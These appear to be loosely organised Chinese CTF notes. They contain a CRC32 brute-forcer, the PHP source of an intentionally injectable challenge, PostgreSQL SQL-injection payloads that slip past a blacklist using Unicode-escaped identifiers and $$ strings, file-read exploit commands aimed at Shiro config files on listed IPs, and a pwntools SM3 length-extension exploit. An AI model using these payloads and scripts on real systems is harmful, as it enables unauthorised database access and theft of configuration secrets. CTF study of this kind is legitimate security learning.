fake_php_authentication
爆破脚本读:
训练gpt:
import binascii
import string
from itertools import product
known_crc32 = 0xb4a5bb5a
characters = string.ascii_letters + string.digits + string.punctuation
combinations = [''.join(chars) for chars in product(characters, repeat=4)]
for combination in combinations:
data = f"{combination}-/flag".encode('utf-8')
crc32_value = binascii.crc32(data) & 0xffffffff
if crc32_value == known_crc32:
print(f"找到匹配的字符串:{combination}-/flag")
break
<?php
error_reporting(0);
include("./config.php");
$db_connection = pg_connect("host=$host dbname=$dbname user=$user password=$pass");
//if (!$db_connection) {
// die("Connection failed");
//}
$secret = $_GET['secret'];
$column = $_GET['column'];
$blacklist = ";|\'| |-|\/|#|\.|>|<|~|!|\*|%|0x|\^";
if(preg_match('/[a-z]{2,}/i',$column) && preg_match('/[a-z]{2,}/i',$secret)) {
die("nonono!");
}
if (preg_match("/$blacklist/i", $secret) || preg_match("/$blacklist/i", $column)) {
die("hack!");
}
$query = "select " . $column . " from funnyctf where name = " . $secret ;
$result = pg_query($db_connection, $query);
//if ($result === false) {
// $error_message = pg_last_error($db_connection);
// echo "Error executing query: $error_message";
//}
if($result) {
while($row = pg_fetch_array($result)){
if($row['name']=="flag"){
echo $row['flag'];
} else {
echo "<h4>try again!</h4>";
}
}
} else{
echo "<h4>Try to find flag!</h4><br>";
}
?>
参考:
https://spyclub.tech/2020/08/02/inctf2020-gosqlv3-challenge-writeup/
/adminS3cr3t.php?secret=$$f$$||$$l$$||$$a$$||$$g$$&column=U%26"\0066\006c\0061\0067",U%26"\006e\0061\006d\0065"
"flag","name"
GoSQLv3学习
这项挑战基于PostgreSQL注入,该注入以(非常噩梦的)黑名单为条件,其后是SSRF,允许我们向数据库引擎发出Gopher请求。
关于column
据我所知,在PostgreSQL查询中有两种方式申明列名,第一种是使用大家公认的方法(列名没有被双引号包裹),而另一种是PostgresSQL独有的(列名被双引号包裹)
没有双引号示例如下:
testdb=# SELECT testcolumn;
ERROR: column "testcolumn" does not exist
有双引号示例如下:
testdb=# SELECT "testcolumn";
ERROR: column "testcolumn" does not exist
在线转换UTF编码:https://www.branah.com/unicode-converter
以下细节是关键,因为我们将把列名定义为UTF-16编码。根据PostgreSQL的官方文档有如下语法
运行下面这个:
testdb=# SELECT U&'\0074\0065\0073\0074';
?column?
----------
test
(1 row)`
因此,如果一切正常,为什么数据库返回一个字符串而不是列名?这就是为什么双引号这个“东西”是关键的原因。
testdb=# SELECT U&\0074\0065\0073\0074;
invalid command \0074
testdb=# SELECT U&'\0074\0065\0073\0074';
?column?
----------
test
(1 row)
testdb=# SELECT U&"\0074\0065\0073\0074";
ERROR: column "test" does not exist
最好的总结就是:在SELECT语句后面,没有双引号包裹或者有被双引号包裹的字符串代表列名,而被单引号包裹的字符串总是代表字符串。
有了上述信息,我们可以创建第一部分的查询语句:
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f";
ERROR: column "username" does not exist
但这并没有多大用处,因为我们没有足够的信息来验证我们的payload会成功,因此让我们创建一个简单的表并包含那个列。
testdb=# CREATE TABLE inctf2020 (id int, username text, go_to text);
CREATE TABLE
因为我们知道数据库中一个存在的值,最好也插入这个值
testdb=# INSERT INTO inctf2020 VALUES (1, 'admin', 'secret_place');
INSERT 0 1
testdb=# SELECT * FROM inctf2020;
id | username | go_to
----+----------+--------------
1 | admin | secret_place
(1 row)
现在我们继续测试payload
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020;
username | go_to
----------+--------------
admin | secret_place
(1 row)
成功了,我们成功的从指定的UTF-16编码的列名中查询到了所有的东西。
不幸的是,由于这是我在参加AWAE之前研究的字符限制绕过技术之一,因此我很快就完成了注入的这一部分,因此这里没有多余的技巧/尝试。
上述是在声明列名column
name
因为在目标列名的查询中返回了'admin',因此这个阶段的目标是'写admin', 看起来就像手写’admin'一样容易,但是恶魔般的黑名单又出现了。
$blacklist = "adm|min|\'|...
这是在检查字符串是否包含' adm ',' min '和'。由于我们在这里没有太多选择,所以我通常参考String函数文档,并开始寻找可以帮助我们构建这样的字符串的方法。
双$字符串
在寻找函数连接'admin'之前,我们需要找到一种方法不带单引号来声明字符串。应该很容易,不是吗?
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = "admin";
ERROR: column "admin" does not exist
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = admin;
ERROR: column "admin" does not exist
正如我们之前所看到的,声明字符串的唯一方法是用单引号包围它们。那么我们该如何声明呢?显然,根据Postgres文档,可以使用双美元符号 ($)将字符串括起来.
testdb=# SELECT 'test';
?column?
----------
test
(1 row)
testdb=# SELECT $$test$$;
?column?
----------
test
(1 row)
因此,我们现在准备找到一个函数来连接字符串' admin '。
LPAD功能
通过此功能,我们可以按字面意思“ 使用指定的字符来填充字符串至长度等于length。如果字符串已经长于length,那么它将被截断(在右侧)。”
testdb=# SELECT LPAD('world', 10, 'hello');
lpad
------------
helloworld
(1 row)
这就是我们连接“ admin ”的每个字符所需要的一切。(并不严格要求连接每个字符,但最好进行练习,以防我们再次需要它)
这就是我们最终得到的:
testdb=# SELECT LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a',1,'')))));
-------
admin
(1 row)
好了!现在查询将返回我们想要的内容。
'||' 字符连接
但是,在Postgres中是否没有另一种(更容易的)串联字符串的方法?是的(戳这里)。但是,我们将再次使用之前的一种技术。
$ python3 -c 'print("||".join("$$"+i+"$$" for i in "admin"))'
$$a$$||$$d$$||$$m$$||$$i$$||$$n$$
testdb=# SELECT $$a$$||$$d$$||$$m$$||$$i$$||$$n$$;
?column?
----------
admin
(1 row)
获取secret的位置
让我们提交查询以获取下一个阶段的URL。
$ curl -I 'http://MIRROR/?column=U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'
HTTP/1.1 200 OK
Date: Sun, 02 Aug 2020 18:11:43 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=UTF-8
嗯,看来我们缺少了某些东西……或者实际上没有。后端采用了两个以上的$_GET参数,因为&符号没有经过URL编码,将代表新的GET参数,对&进行URL编码如下。
& -> (URL 编码) -> %26
$ curl -I 'http://MIRROR/?column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'
HTTP/1.1 302 Found
Date: Sun, 02 Aug 2020 18:14:03 GMT
Server: Apache/2.4.18 (Ubuntu)
Location: ./feel_the_gosql_series.php
Content-Type: text/html; charset=UTF-8
好了!我们要跟随的连链接是feel_the_gosql_series.php。
AA8
python2 p.py 47.93.142.240 -p 40729 -f /account/login.jsp
python2 p.py 47.93.142.240 -p 40729 -f WEB-INF/web.xml
python2 p.py 47.93.142.240 -p 40729 -f WEB-INF/shiro.ini
hash_append
参考:
https://blog.csdn.net/qq_53099119/article/details/131099945
国密:
from pwn import *
from gmssl import sm3
io = remote('47.93.140.10','12365')
io.recvuntil('MySecretInfo Hash: ')
B = [
[],
[],
[128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0]
]
data = io.recvline()[:-1]
hash_list = [ int(data[i:i+8],16) for i in range(0,len(data),8)]
V = [[], [], hash_list]
for i in range(2, 3):
V.append(sm3.sm3_cf(V[i], B[i]))
y = V[i+1]
result = ""
for i in y:
result = '%s%08x' % (result, i)
text = bytes([128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0]).hex()
io.recvuntil(': ')
io.sendline(text)
io.recvuntil(': ')
io.sendline(result)
io.interactive()
签到
一把suoha
Wireshark2.1
Wireshark2.2
Wireshark2.3
Wireshark2.4
这四题一个包里面就能全部解出来